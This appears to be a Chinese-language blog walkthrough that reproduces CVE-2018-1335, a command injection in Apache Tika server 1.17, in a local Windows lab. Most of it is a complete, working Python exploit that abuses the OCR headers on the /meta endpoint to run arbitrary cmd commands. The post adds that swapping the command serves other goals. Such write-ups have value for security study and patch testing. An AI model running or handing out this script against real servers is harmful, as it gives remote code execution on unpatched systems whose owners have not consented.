這是一枚Apache Tika中的命令注入
我這裏靶機是win10,攻擊機是win10的linux子系統。關於這個環境,請看我的另一篇博文這裏。所以這裏我的IP都是localhost
在靶機上下載漏洞環境:
wget https://archive.apache.org/dist/tika/tika-server-1.17.jar
在靶機上運行漏洞環境:
java -jar tika-server-1.17.jar
以下是payload,基於py3
還在用py2的同學只需要改print函數,去掉括號即可。
在攻擊機上保存爲CVE-2018-1335.py
import sys
import requests
if len(sys.argv) < 4:
print("Usage: python CVE-2018-1335.py <host> <port> <command>")
print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
url = host+":"+str(port)+"/meta"
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"}
jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd)
try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")
攻擊機運行python3 CVE-2018-1335.py localhost 9998 calc.exe成功彈出計算器。
需要達成其他目的,只需要修改command部分。複雜的操作還是要修改payload。